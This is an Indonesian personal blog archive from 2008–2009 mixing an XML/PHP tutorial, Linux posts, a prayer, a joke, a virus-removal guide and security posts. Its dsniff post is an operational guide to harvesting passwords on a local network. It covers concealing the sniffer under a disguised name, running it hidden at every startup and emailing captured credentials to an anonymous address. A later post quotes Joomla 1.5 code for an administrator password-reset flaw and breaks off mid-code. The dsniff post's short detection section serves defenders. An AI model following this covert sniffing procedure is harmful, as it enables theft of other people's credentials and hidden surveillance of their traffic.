Xfree Blog's

CD Pelatihan bahasa inggris

xfree — Thu, 02 Jul 2009 16:10:45 +0000

Dujual Cd dan panduan belajar bahasa inggris….dari mulai basic ampe dengan toefl sangat informatif dan komunikatif….

harga terjangkau..hubungi aja dech saya di 022-76153456

Hacking UAN 2009 100% Legal

xfree — Sun, 29 Mar 2009 17:40:53 +0000

Tool yang mesti dipersiapkan dalam kita melakukan penetrasi Hacking UAN 2009 adalah : 1. Bismillah 2. Belajar yang rajin seperi baca buku dan latihan – latihan soal 3. berdoa

dan yang ga kalah penting mesti nyoba dan nyoba berikut :

MATEMATIKA IPA dari tahun 1986 s.d 2007

MATEMATIKA IPS Tahun 1986 s.d 2000

BAHASA INDONESIA Tahun 1986 s.d 2006

BAHASA INGGRIS Tahun 1986 s.d 2006

FISIKA Tahun 1986 s.d 2006

KIMIA Tahun 1986 s.d 2006

BIOLOGI Tahun 1986 s.d 2006

EKONOMI Tahun 1986 s.d 2006

GEOGRAFI Tahun 2005 s.d 2006

SEJARAH Tahun 1998 s.d 2006

SOSIOLOGI Tahun 1986 s.d 2006

KUMPULAN SOAL-SOAL EBTANAS, UAN (UN), SMK

Berikut adalah kumpulan soal-soal UAN SMK Tahun 2004:

KUMPULAN SOAL-SOAL EBTANAS, UAN (UN), SMP

Berikut ini adalah Kumpulan Soal -soal UAN SMP Tahun 2003:

Berikut ini adalah Kumpulan Soal -soal UAN SMP Tahun 2004:

Berikut ini adalah Kumpulan Soal -soal UAN SMP Tahun 2005:

KUMPULAN SOAL-SOAL EBTANAS, UAN (UN), SD

MATEMATIKA SDTahun 1996 s.d 2000

**update 16 januari 2009

KUMPULAN SOAL-SOAL PREDIKSI UJIAN NASIONAL 2009

Prediksi UAN SMA IPA 2009

Prediksi Soal UAN SMA IPS 2009

Prediksi Soal UAN SMP 2009

Insya Alloh dengan Bismilah dan usaha yang maksimal kita bakalan lulus dech…

Amiin

#SecureHackLink

Intro XML

xfree — Sun, 29 Mar 2009 16:43:43 +0000

xml adalah tags base syntax, sama dengan html yg merupakan tag based syntax.
xml adalah dasar dari xhtml,web services, dll.
xml digunakan karena xml bersifat universal dan dapat dengan mudah dimengerti.
karena sifatnya yg universal xml memudahkan kita untuk melakukan transfer data antara 2 system yg berbeda.
sebagai contoh jika kita ingin membuat search enggine dengan cara mengirimkan pesan xml ke google. dan google akan mengirimkan hasilnya berupa xml. Tergantung dari kita bagaimana mengolah file xml tersebut. (www.google.com/api)

kelebihan dari xml:
- presentation layer dan data layer terpisah. Sehingga memudahkan kita jika ingin melakukan suatu perubahan.
- Dapat dirubah menjadi beberapa file lain seperti html, pdf, dll.
- Mudahnya melakukan suatu perubahan suatu data di dalam xml.

Kekurangan:
- untuk data yg besar tidak seefisien sql. Jadi lebih baik tidak menyimpan data yg besar dalam bentuk xml.

Berikut ini adalah contoh kecil penggunaan xml dengan php dan asp.net

=====================xmlfile.xml================================== ==========

=========================================================================

=====================test.php=========================================== ===

function startElementHandler($parser,$name,$attribute)
{
if(strcasecmp($name,”user”) ==0)
{
$id = $attribute['id'];
echo “User id : $id
”;
}
if(strcasecmp($name,”email”)==0)
{

$email = $attribute['address'];
echo “email address : $email

”;
}
}
function endElementHandler($parser,$name)
{

}

$parser = xml_parser_create();
xml_set_element_handler($parser,startElementHandler,endElementHandler);
xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING, 0);

$strXML = implode(“”,file(“xmlfile.xml”));

xml_parse($parser,$strXML);

xml_parser_free($parser);

?>
=========================================================================

====================test.aspx============================================ ===

using System.Xml;
.
.
.

string path = Server.MapPath(“xmlfile.xml”);
XmlTextReader read = new XmlTextReader(path);
while(read.Read())
{
if(read.Name==”user” & read.HasAttributes)
{
Response.Write ( “User Id : “+read.GetAttribute(“id”));
Response.Write(“
”);
}

if(read.Name==”email” & read.HasAttributes)
{
Response.Write(“Email Address : “+read.GetAttribute(“address”));
Response.Write(“
”);
Response.Write(“
”);
}
}
.
.
.

================================================================== =======

Maaf kalau ada kesalahan penulisan atau ada yg kurang.Thanks

Pile

Migrasi 100 % ke Linux

xfree — Sat, 28 Mar 2009 05:31:14 +0000

he2……tepat pada 14 maret 2009 ini saya mendeklarasikan migrasi 100% ke Linux dan ternyata asik juga neh linux

dan yang paling asyik ga ada tuh namanya komputer ngehang dan kena virus

saya sekarang memakai Ubuntu Muslim Edition dan juga Fedora 9 heee

mantapz

so jangan ragu-ragu pindahlah ke Linux secara totalitas

Haruskah Diri Ini…….!!!!!

xfree — Sat, 28 Mar 2009 04:34:31 +0000

Ya Alloh haruskah diri ini tertipu oleh sebuah senyuman hambaMu…………
Ya Alloh Mestikah hamba hanya mengharapkan sebuah harapan semu……

Ya Alloh…..,

Sabarkanlah hamba dalam menempuh Jalan RisalahMu…

Kuatkanlah hamba dalam meniti RisalahMu

Syahidkan hamba dalam jalan RisalahMu

Ya Alloh……… Hilangkanlah kesombongan dalam diri ini

Sadarkan hamba ya Alloh akan kenyataan ini

Kuaatkan hamba ya Alloh kondisi ini

Ya Alloh

ku coba memahami akan hamba Mu

ku coba meniti cinta deni cinta ini Kepada Mu

namun ya Alloh..

kenyataan itu telah tiba

kenyataan itu terbukti sudah…

oleh karena itu ya Alloh….

Haruskah diri ini melupakanya..??

‘Kuatkan hamba dalam kenyataan ini”

Wahai Akhwat Pikirkanlah jika mau menikah.!!

xfree — Fri, 27 Mar 2009 23:24:44 +0000

Sebelum memutuskan untuk menikah dengan IT Guys pikir dulu masak-masak dannjangan menyesal kemudian. Makanya perhatikan baik-baik percakapan antara
seorang istri dengan suaminya, seorang Software Engineer.

Suami: (Pulang telat dari kantor) “Selamat malam sayang, sekarang saya logged in.”
Istri: “Apakah kamu bawa oleh-oleh yang aku minta?”
Suami: “Bad command or filename.”

Istri: “Tapi aku bilangnya dari tadi pagi!”
Suami: “Errorneous syntax. Abort?”

Istri: “Trus, bagaimana tentang beli televisi baru?”
Suami: “Variable not found…”

Istri: “OK deh, kalo gitu aku minta kartu kreditmu. Aku mau belanja sendiri aja.”
Suami: “Sharing Violation. Access denied…”

Istri: “Apakah kamu lebih mencintai komputer daripada aku? Atau kamu hanya main-main saja?”
Suami: “Too many parameters…”

Istri: “Itu kesalahan terbesar kalo saya menikahi orang ‘idiot’ sepertimu.”
Suami: “Data type mismatch.”

Istri: “Kamu tidak berguna.”
Suami: “It’s by Default.”

Istri: “Bagaimana dengan gajimu?”
Suami: “File in use … Try later.”

Istri: “Kalo gitu apa posisiku di keluarga ini?”
Suami: “Unknown Virus.”

sumber : http://groups.google.co.id

/group/tic02community?hl=id

Memanen password dijaringan Lokal dengan Dsniff

xfree — Fri, 27 Mar 2009 17:23:33 +0000

Baru mulai tertarik masalah keamanan? Pingin ngebuktiin ketidakamanan jaringan lokal kepada admin? Atas permintaan umum (dan seringnya teman-teman admin nanyain tentang sniffing), berikut adalah cara cepat (kurang lebih 15 sampai 30 menit) memanen password dengan menggunakan teknik yang sangat awam: ethernet sniffing. Tentunya akan dibahas juga cara-cara pendeteksian dan pemberantasannya.

Komunikasi ethernet pada dasarnya adalah komunikasi tipe “siaran” (broadcast). Paket-paket ethernet dari mesin yang satu sebetulnya dilihat oleh setiap komputer yang tergabung dalam suatu jaringan lokal. Paket-paket ini dibuang jika alamat MAC-nya tidak cocok dengan alamat node tujuan. Nah, dengan menggunakan software-software ‘network sniffer’, paket-paket ethernet
(beserta isinya) yang melewati kartu ethernet tertentu tidak dibuang begitu saja, melainkan dianalisa. Banyak kegunaan sniffing, tapi di artikel ini penulis hanya membahas sniffing password dengan menggunakan program paten karangan Dug Song (www.monkey.org/~dugsong) dsniff.

dsniff aslinya adalah software Unix, dan teman-teman yang punya Linux/BSD bisa langsung ngedownload dan compile dsniff dari http://www.monkey.org/~dugsong/dsniff). Artikel ini membahas penggunaan di jaringan lokal berbasis Windows, sebab artikel ini ditujukan untuk pemula, dan mereka-mereka yang pingin memanen password tapi nggak punya akses ke Unix. Program dsniff ini punya spesialisasi menggarap password dari berbagai protokol, dan memformat hasil panenan dalam bentuk yang mudah dibaca. Protokol yang bisa ditangani oleh dsniff antara lain adalah FTP, Telnet, HTTP, POP, NNTP, IMAP, SNMP, LDAP, Rlogin, NFS, SOCKS, X11, IRC, AIM, CVS, ICQ, Napster, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB,
dan Oracle SQL*Net auth info.

Penggunaan dsniff tidak begitu jauh berbeda antara versi Win32 dengan versi Unix-nya. Kelebihan yang bias dinikmati pengguna Unix saat ini adalah adanya dua program tambahan di dsniff yang membuat dsniff versi Unix lebih perkasa, mampu memanen password dari jaringan berbasis “ethernet switch” atau “active hub”, jadi tidak terbatas ke jaringan “hub” saja.

Bahan-bahan/Persyaratan:
——————————–
LAN lokal untuk target, yang terhubung dengan menggunakan “ethernet hub” (bukan switch)
- mesin Windows 95, 98 atau ME (untuk 2000 dan XP, kamu mesti punya hak administrator di mesin yg akan digunakan untuk memanen) yang terhubung ke LAN target
- WinPCap library, download dari http://netgroup-serv.polito.it/winpcap/install/bin/WinPcap.exe
- dsniff port to Win32, download dari http://www.datanerds.net/~mike/binaries/dsniff-1.8-win32-static.tgz (gunakan WinZip untuk nge-extract file-file .exe-nya)

Cara Memasak
——————

- Install WinPcap library. Doubleclick winpcap.exe dan ikuti petunjuk di layar (tinggal pencet   “Next”,”Next”,”Finish”)
- Extract file dsniff…tgz nya ke suatu directory (sebaiknya di bawah
C:\Windows atau tempat lain yang nggak terlalu mencurigakan – untuk artikel ini, anggap saja   disimpan di C:\WINDOWS\DS)
- Mulai memanen password. Dari start menu, klik “Run”, ketik “command”. Pindah ke direktori   tempat disimpannya dsniff (“cd \windows\ds”). dari prompt C:> tinggal ketik “dsniff”.
- silakan menonton password-password milik pengguna ditampilkan di layar

Catatan:
———-
Ada kemungkinan anda harus menspesifikasikan kartu ethernet mana yang ingin disadap. Untuk melihat daftar-daftar interface yang tersedia, ketik “dsniff -D” dari prompt DOS. Anda akan melihat daftar interface yang tersedia. Jika secara default dsniff mencoba menyadap interface yang salah, gunakan “dsniff -i [ketik nama interface disini]“.

Pengembangan lebih lanjut
———————————

Untuk menyimpan daftar password yang terpanen ke sebuah file, tambahkan perintah “-w [namafile]” ke program dsniff. Contoh: “c:\WINDOWS\DS>dsniff -i ELNK3 -w password.db”
untuk membaca file yg dibuat dsniff, berikan perintah “-r [namafile]“
contoh: “C:\WINDOWS\DS>dsniff -r password.db”
secara opsional, jika anda ingin file hasil panen ini disimpan dalam bentuk file ASCII:
“C:\WINDOWS\DS>dsniff -r password.db > panen.txt”,

panen.txt siap disajikan.

Yang lebih asyik lagi, bisa kita konfigurasikan agar usaha panen kita tetap berjalan walaupun komputer tersebut di-reboot.Caranya gampang. Mula-mula download dulu program “start minimized” (sm.exe) dari http://www.ethernal.org/List-Archives/curves-kiddies-0010/msg00029.html.
Simpan program ini di C:\WINDOWS. Kemudian kita bikin batch file yang bisa dijalankan dari command prompt. Gunakan Notepad atau “edit” untuk membuat file ini, dan sebagai isi:
@echo off
sm /hidden c:\windows\ds\dsniff.exe -w > password.db

(tambahkan perintah opsional seperti “-i ELNK3″ jika perlu)

Nah, simpan file ini (sebagai “ds.bat”, misalnya), dan pindahkan file ini ke folder “Startup” lewat Start menu supaya tiap kali komputer di-restart, program dsniff kita dijalankan juga, siap untuk memanen. Program “sm” diatas berfungsi menjalankan program secara tersembunyi supaya tidak mencurigakan. Tentu saja, biar lebih nggak mencurigakan lagi, rubah nama dsniff.exe ke nama lain, dan jangan lupa ngeganti perintah “dsniff” dengan nama yang baru di semua command dan batch file. Sekarang anda bisa tinggalkan komputer tersebut, dan dikemudian waktu kembali lagi untuk memeriksa sejauh mana hasil sadapan anda bekerja
(dengan perintah “dsniff -r password.db > panen.txt” lalu “notepad panen.txt”).

Membuat sadapan lebh portabel
—————————–
Untuk membuat disket dsniff, file-file yang anda perlukan adalah: dsniff.exe
wpcap.dll (cari di C:\WINDOWS\SYSTEM atau C:\WINDOWS\SYSTEM32 untuk Win2K/XP)
wpcap.vxd packet.dll
simpan file-file ini ke disket (A:), dan tinggal dibawa disketnya ke LAN target. Penjalanan perintah masih tetap sama seperti diatas, kecuali lokasi prompt nya bukan di :\WINDOWS\DS>, melainkan di A:\>.
Jika anda butuh tantangan tambahan, gunakan perintah “at” dan program pengirim email blat.exe” untuk mengirimkan hasil panenan ke alamat e-mail anonimus anda setiap jam atau bahkan setiap 5 menit. Jangan lupa bagi-bagi hasil .

Tambahan-tambahan
—————–
Port dsniff-win32 juga mengandung beberapa utility ekstra, seperti mailsnarf (untuk membaca lalu lintas e-mail di jaringan lokal), urlsnarf (untuk membaca alamat-alamat website yang dikunjungi pengguna LAN sekitar anda), dan webspy (untuk menguntit jejak surfing mesin tertentu). Silaka anda coba main-main dengan utiliti-utiliti ini, penulis yakin akan ada gunanya.Harap diingat bahwa teknik diatas hanya mempan untuk LAN yang terhubung melalui “ethernet hub”. Jika kebetulan LAN anda menggunakan “ethernet switch”, bukan berarti nggak ada harapan. Pengguna versi Unix-nya dsniff bisa cengar-cengir, sebab paket dsniff versi Unix mengandung dua program
tambahan: arpspoof (untuk ‘menipu’ mesin-mesin lain agar mengirimkan paket ke mesin anda) dan macof (untuk membanjiri “switch” lokal dengan alamat-alamat MAC acak, biasanya berakibat “ethernet switch” yang ditargetkan menjadi bingung dan mengubah mode menjadi default, bertingkah laku seperti “ethernet hub”).

Deteksi, Pencegahan, dan Penanggulangan
—————————————
Sebagai admin, anda bisa mendeteksi kartu-kartu ethernet di LAN anda yang menjalankan dsniff (dan progarm-program sejenis dsniff) karena secara prinsip, untuk meng-capture paket-paket, interface ybs harus berada dalam mode “promiscous”. Jadwalkan program-program ini untuk berjalan setiap 5 menit, dan konfigurasikan agar komputer pendeteksi mengemail anda jika ada
aktifitas-aktifitas mencurigakan. Utiliti yang bisa anda gunakan termasuk “promisc”, “CPM”, “ifstatus”, atau yang lebih yahud lagi, utilitas buatan grup hacking Portugal The Apostols yang bernama “NePED” (http://metalab.unc.edu/pub/Linux/distributions/trinux/src/neped.c). Untuk
platform Windows, tersedia produk-produk komersil seperti LANGuard/LANSniffer atau AntiSniff dari L0pht Heavy Industry (http://www.l0pht.com/antisniff). Diantara produk-produk diatas, sebagian besar hanyalah bisa mendeteksi adanya sniffer jika dijalankan di mesin lokal. Untuk mendeteksi network secara remote, gunakan NePED atau AntiSniff.

Jika anda punya budget, beli switch ethernet yang nggak nge-default ke “hub mode” kalau di-flood alamat-alamat MAC palsu. Kalau anda nggak ngerti, harap ngambil kursus “Pengenalan TCP/IP” atau berhenti jadi admin. Juga harap ingat bahwa banyak perusahaan-perusahaan yang mengklaim menjual hub yang tak bisa disadap, tapi ternyata hanya menjual hub tipe “active huub” yang biasanya tidak bisa menghandel traffic Fast Ethernet (100 Mbps).

Cara paling handal untuk mencegah bocornya informasi sensitif lewat network adalah dengan menggunakan enkripsi. Pakailah SSH, SCP (pengganti FTP) atau SFTP, TLS (untuk memeriksa e-mail), SSL dan HTTPS (untuk transaksi web), tunelling, dll. Usahakan agar jangan sampai ada program yang mengirimkan password tanpa enkripsi melalui jaringan yang anda kelola. Juga selalu
periksa keadaan hard disk anda. Seringkali sniffer-sniffer meninggalkan jejak berupa file hasil panenan yang berukuran besar (apalagi jika LANnya sibuk).

Cara lain mengamankan network anda adalah dengan memindahkan topologi jaringan anda ke sistem token ring, _dan_ menggunakan kartu-kartu ethernet Token-Ring buatan IBM (iklan sabun colexz). Tapi tentunya metode ini tidaklah praktis bagi anda yang ingin tetap menggunakan topologi star atau hybrid.

Penutup
——-
Begitu dulu, deh. Semoga ada gunanya, dan semoga pembaca semua sadar bahwa isu ini tidaklah sesukar anggapan umum. Cukup 30 menit dan program-program yang tepat, dan terkompromisasilah jaringan lokal anda. Jelas bahwa sang penyerang disini (dan di aspek-aspek lain secara umumnya) menikmati kelebihan, sebab pemberantasan serangan tipe ini memerlukan waktu dan keahlian dari sang pembela. Saran, tambahan, dan kritik silakan kirim melalui kecoak.

makanya neh temen2 mesti hati2 yah pas maenan jaringaan…, so pasang anti virus deh buat temen2 yang make mikocok dan beralilah kepada linux

Sumber-sumber dan referensi:
—————————-
http://www.monkey.org/~dugsong/dsniff (pembahasan lebih mendalam tentang teknik-teknik penyadapan password, termasuk makalah dan artikel membahas sniffing di jaringan “switched”)
http://www.datanerds.net/~mike/dsniff (website resminya dsniff-win32)
http://www.morehouse.org/secure/sniffaq.htm (FAQ-nya sniffing, sudah agak kadaluwarsa).

===============================================================
posted by fwerd at k-elektronik.org
edited by logC at k-elektronik.org
Catatan Editor:
# file terkait akan segera di upload di bagian ‘file’ dengan namawin32-S.zip/win32-S.tar.gz
# Dipersilahkan untuk mengkopi paste dan menyebarluaskan secara tak terbatas artikel ini asal dengan tujuan pendidikan dan menyertakan credit atas penulis. Penulis dan editor tidak bertanggung jawab atas penyalahgunaan versi pendidikan artikel ini.

nih distro Linux baru

xfree — Mon, 01 Sep 2008 09:32:15 +0000

[quote="0x99"]BootScreen:
[img]http://i35.tinypic.com/oapug6.png[/img]

Tampilan Login:
[img]http://i37.tinypic.com/28clsso.png[/img]

contoh aplikasi:
[img]http://i37.tinypic.com/2yysbgo.png[/img]

Download:
[url=http://opensource.telkomspeedy.com/yogyafree/files/xcodeLinux-0.0.1.iso]x-code Linux v0.0.1[/url]

=========== Sepatah Kata ============

x-code Linux v0.0.1 Based on Slax 6.0.7
Command Line Interface (CLI) doang

Kenapa sih kok CLI doang?
CLI, karena hacker tidak butuh tampilan desktop yang memukau…
Bagi yang suka tampilan Desktop, ntar dulu ya…
Soalnya multitasking otak gw terbatas….

Daftar isi:
- pentest << paket dari backtrack3 (Hacking tools)
- devel << asli bawaan SLAX (gcc, perl, dan tool development lainnya)
- nano << editor teks kebanggaan
- elinks << web browser on CLI
- htop << CPU, Memory monitoring
- netcat << kucing dalam jaringan (back connect tool, rooting/ngeroot tool)
- nmap << pemetaan jaringan
- python << ular berbisa (programming tool)
- debian-pkg-tool << kalo mo install paket debian/ubuntu ke distro ini
- ipcalc << menghitung subnet, CIDR dari IP
- rar << pasti tidak asing lagi dengan yang satu ini

fitur:
- multitasking (Alt-F1, Alt-F2, … Alt-F6) Maksimum 6 tty (karena tty7 digunakan untuk tampilan desktop, KDE dkk)
- mouse berfungsi normal
- resolusi monitor = 800×600 (cukup lega kan…?) kalo kurang lega bilang aja
- networking enable (dhcp)

kalo ada yang mo nambahin paket / fitur baru dipersilahkan… masih terbuka lebar peluang untuk itu…

ukuran: 163 MB (171,515,904 bytes) on release

untuk install ke USB lihat petunjuk SLAX (karena distro ini hanya modifikasi dari SLAX)
untuk kalangan sendiri (yogyafree|xcode|familycode)

sebenernya malu kalo disebut distro… tapi biarin aja deh… biar agak keren dikit…
projek pribadi (dikerjakan dalam waktu tidak lebih dari 3 hari (dari konsep sampe mateng/siap saji))…
awalnya ngobrol sama _sat pas dia main ke kantor gw, begadang ampe pagi… ngoprek gitu ceritanya…
paginya nongol ide untuk membuat distro linux sendiri, dan setelah googling sana-sini…
nemu distro SLAX (biangnya BackTrack)… iseng-iseng nyoba… eh bisa…
boleh dibilang ini versi CLI doang untuk BT3 (katanya sih awalnya BT3 juga cli doang, tapi BT3 tetap menyertakan Desktop) …
sorry ya kalo ada fitur2 BT3 yang hanya bisa jalan di atas KDE, disini CLI doang soale…
tapi ingat… ini hasil modif dari SLAX bukan BT3 tapi ngambil fitur dari BT3.. hehe…

Great Regards for All members of yogyafree | xcode | familycode
kupersembahkan ini khusus untuk Anda semua, coz I love U all…

Basmi Virus

xfree — Mon, 01 Sep 2008 08:03:01 +0000

Beberapa tahun belakangan banyak bermunculan virus-virus yang mulai merepotkan masyarakat pengguna komputer. Kalau dahulu pengguna internet saja yang dipusingkan oleh virus karena penyebarannya yang masih terbatas melalui email dan jaringan. Seiring perkembangan teknologi maka perangkat mobile teknologi informasi juga berkembang. Saat ini hampir tiap pengguna komputer pasti memiliki flash disk yang merupakan media penyimpanan data yang sangat portable dan mudah digunakan karena sifatnya seperti disket namun dengan kapasitas besar dan tidak mudah rusak. Namun kepopuleran flash disk di pengguna komputer memancing para pembuat virus untuk membuat virus yang menyebar melalui media penyimpanan ini. Hal ini membuat para pengguna yang kurang paham komputer terkadang tertipu karena menjalankan virus yang disangkanya adalah file lain seperti file dokumen Microsoft Word, Folder, atau bentuk file lainnya. Padahal yang sedang dibuka adalah program virus yang memiliki icon sama dengan file-file tersebut.

Tidak perlu membahas terlalu panjang sejarah kemunculan virus ini, namun buat pengguna yang sudah terkena virus maka sebenarnya langkah pembasmian virus-virus tersebut hampir sama. Biasanya masyarakat umum yang tidak memiliki akses internet di komputernya akan lebih mudah terkena virus karena antivirus yang tidak up to date sehingga antivirus miliknya tidak mengenali virus-virus baru. Ada beberapa cara menghilangkan virus dari komputer anda bila sudah terlanjur terinfeksi virus ini. Teknik-teknik berikut dibahas pada sistem operasi Windows XP karena OS inilah yang paling umum terinfeksi dan paling banyak digunakan. Berikut adalah teknik teknik tersebut:

Menghapus dengan antivirus di komputer lain

Dengan melepaskan hardisk komputer yang telah terinfeksi virus kemudian dipasangkan ke komputer lain yang memilki antivirus yang terbaru atau setidaknya mampu mengenali virus di sistem yang telah terinfeksi. Lakukan full scanning pada hardisk sistem yang terinfeksi dan hapus semua virus yang ditemukan. Setelah selesai hardisk tersebut sudah dapat dipasang kembali dikomputer dan jalankan sistem seperti biasa. Lakukan pemeriksaan kembali apakah komputer masih menunjukkan gejala yang sama saat terkena virus. Cara ini ampuh membersihkan virus sepanjang antivirus di komputer lain tersebut dapat mengenali dan menghapus virus di hardisk yang terinfeksi. Namun virus masih meninggalkan jejak berupa autorun atau startup yang tidak berfungsi. Jejak ini terkadang memunculkan pesan error yang tidak berbahaya namun mungkin sedikit mengganggu.

Menghapus dengan sistem operasi lain

Pada laptop atau komputer yang tidak dapat dilepas harddisknya maka cara lain adalah menjalankan sistem operasi lain yang tidak terinfeksi virus dan melakukan full scan terhadap seluruh harddisk. Biasanya ada beberpa pengguna yang menggunakan dual OS seperti Linux dan Windows atau Windows XP dan Windows Vista dsb. Selain itu bisa juga menggunakan LiveCD atau OS Portable seperti Knoopix dan Windows PE ( Windows yang telah diminimazed dan dapat dibooting dari media penyimpanan portable seperti flash disk atau CD.) lalu lakukan full scanning dengan antivirus terbaru. Efektifnya sama dengan menghapus virus dengan antivirus di komputer lain contoh diatas. Virus terkadang masih meninggalkan jejak tidak berbahaya.

Menghapus secara manual

Bila anda kesulitan melakukan hal diatas masih ada cara lain yaitu dengan cara manual. Langkah-langkah tersebut adalah:

Matikan process yang dijalankan oleh virus. Virus yang aktif pasti memiliki process yang berjalan pada sistem. Process ini biasanya memantau aktifitas sistem dan melakukan aksinya bila ada kejadian tertentu yang dikenali virus tersebut. Contohnya pada saat kita memasang flash disk, process virus akan mengenali aksi tersebut dan menginfeksi flash disk dengan virus yang sama. Proses ini harusnya bisa dilihat dari task manager yang bisa diaktifkan dengan tombol Ctrl + Alt + Del namun terkadang virus akan memblokir aksi ini dengan melakukan log off, menutup window Task Manager, atau restart sistem. Cara lain adalah menggunakan tool lain untuk melihat dan mematikan proses virus. Saya biasa menggunakan Process Explorer dari http://www.sysinternals.com/ . Dengan tool ini anda bisa mematikan process yang dianggap virus. Pada saat mematikan proses milik virus perlu diperhatikan terkadang proses milik virus terdiri atas lebih dari 1 proses yang saling memantau. Bila 1 proses dimatikan maka proses tsb akan dihidupkan lagi dengan proses lainnya. Karena itu mematikan process virus harus dengan cepat sebelum proses yang dimatikan dihidupkan lagi oleh proses lainnya. Kenali terlebih dahulu proses yang dianggap virus lalu matikan semuanya dengan cepat. Biasanya virus menyamar menyerupai proses windows tapi tentu ada bedanya seperti IExplorer.exe yang meniru Explorer.exe. Berikut adalah proses windows yang bisa dijadikan referensi proses yang dikategorikan aman:
```
C:\WINDOWS\system32\smss.exe
C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\Explorer.exe
```
Selain process explorer anda bisa menggunakan tools lainnya yang mungkin lebih mudah dan bisa menghapus process sekaligus. Contoh lain adalah HijackFree. Anda bisa mencari di google tools sejenis.

Setelah proses mematikan virus berhasil lakukan pengembalian nilai default parameter sistem yang digunakan virus untuk mengaktifkan dirinya dan memblokir usaha menghapus dirinya. Parameter tersebut berada pada registry windows yang bisa di reset dengan nilai defaultnya. Simpan file berikut dengan nama apa saja dengan extention file .reg. Kemudian eksekusi file tersebut dengan mengklik 2 kali. Bila ada konfirmasi anda bisa menjawab Yes/Ok. Berikut file registry tersebut:

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Hidden"=dword:00000000
"SuperHidden"=dword:00000000
"ShowSuperHidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot]
"AlternateShell"="Cmd.exe"
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\SafeBoot]
"AlternateShell"="Cmd.exe"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot]
"AlternateShell"="Cmd.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Shell"="Explorer.exe"
"Userinit"="C:\WINDOWS\system32\userinit.exe,"

[HKEY_CLASSES_ROOT\regfile\shell\open\command]
@="regedit.exe \"%1\""

[HKEY_CLASSES_ROOT\scrfile\shell\open\command]
@="\"%1\" %*"

[HKEY_CLASSES_ROOT\piffile\shell\open\command]
@="\"%1\" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command]
@="\"%1\" %*"
[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"%1\" %*"

File registry diatas akan membuka blokir regedit, mencegah virus mencangkokkan dirinya pada sistem, dan reset parameter lain untuk mencegah virus jalan lagi.

Setelah proses virus dimatikan dan parameter sistem di reset. Cegah virus aktif kembali dengan menghapus entry virus pada autorun dan startup Windows. Bisa menggunakan tool bawaan windows MSConfig atau mengedit langsung pada registry dengan Regedit. Untuk lebih mudahnya gunakan tools pihak ketiga seperti autoruns dari http://www.sysinternals.com untuk menghapus entry autorun dan startup milik virus tsb. Jangan lupa periksa folder StartUp pada menu Start Menu -> Programs -> Startup dan pastikan tidak ada entry virus tsb.
Download antivirus terbaru dan lakukan full scanning pada sistem agar antivirus memeriksa keseluruhan sistem dan menghapus semua virus yang ditemukan. Saya menyarankan avira yang bisa didownload dari http://www.free-av.com karena sifatnya free dan scanner virus yang sama tangguhnya dengan antivirus komersil seperti Symantec atau Kaspersky.
Sebelum restart pastikan anda tidak melewatkan virus baik dari proces atau autorun dan startup sistem. Karena bila tidak maka pada saat restart maka sistem akan kembali seperti pada saat terinfeksi virus dan sia-sia semua langkah yang anda lakukan sebelumnya.
Setelah restart periksa kembali komputer anda dan perhatikan apakah gejala yang muncul pada saat komputer terinfeksi masih ada atau tidak. Bila ada maka anda terlewat beberpa autorun virus atau reset parameter sistem diatas tidak berhasil. Lakukan langkah diatas dan periksa lebih cermat tiap langkah anda sebelum melakukan restart sistem.

Itulah langkah-langkah penghapusan virus pada sistem Windows XP. Untuk mencegah virus datang kembali sebaiknya anda rajin update antivirus atau memasang aplikasi pencegah seperti WinPooch atau Comodo Firewall yang akan memperingatkan pengguna bila ada program lain yang akan memodifikasi sistem. Jadi walaupun virus tersebut tidak dikenali akan tetapi sebelum masuk maka pengguna akan diperingatkan oleh aplikasi pencegah. Bila anda mengenali program yang hendak mengakses sistem anda maka anda bisa mengijinkan akses tersebut namun bila tidak sebaiknya tolak dan blokir akses tersebut karena ada kemungkinan program tersebut adalah virus.

Berhati-hati pada saat membuka flash disk. Jangan membuka flash disk dengan klik 2 kali. Buka dengan klik kanan lalu pilih menu Open agar fitur autoplay pada flash disk tidak menjalankan virus secara ototmatis. Jangan lupa perhatikan file yang anda buka. Walaupun iconnya sama perhatikan bahwa file yang anda buka buka tipe application atau program. Pastikan file word adalah betul-betul word dan folder betul-betul folder bisa dengan melihat detail atau properties dari file tsb. Semoga artikel ini membantu dan mencegah anda terinfeksi virus komputer.

makanya tobat tuh yang suka bikin virus. dosa dodol

Remote Exploit joomla 1.5

xfree — Mon, 01 Sep 2008 07:49:46 +0000

Baru-baru ini telah ditemukan sebuah celah keamanan pada Joomla CMS yang memungkinkan sang
attacker merest password administrator.Celah tersebut ditemukan
oleh seorang hacker Polandia dengan nick name d3m0n (d3m0n@o2.pl).

Hacker tersebut menemukan kelemahan pada file controller.php dan reset.php

################################################################################
Line : 379-399

function confirmreset()
{
// Check for request forgeries
JRequest::checkToken() or die( 'Invalid Token' );

// Get the input
$token = JRequest::getVar('token', null, 'post', 'alnum'); {1}

// Get the model
$model = &$this->getModel('Reset');

// Verify the token
if ($model->confirmReset($token) === false)  {2}
{
$message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
$this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
return false;
}

$this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
}

################################################################################

File : /components/com_user/models/reset.php

Line: 111-130

function confirmReset($token)
{
global $mainframe;

$db = &JFactory::getDBO();
$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation =
   '.$db->Quote($token));  {3}

// Verify the token
if (!($id = $db->loadResult()))
{
$this->setError(JText::_('INVALID_TOKEN'));
return false;
}

// Push the token and user id into the session
$mainframe->setUserState($this->_namespace.'token', $token);
$mainframe->setUserState($this->_namespace.'id', $id);

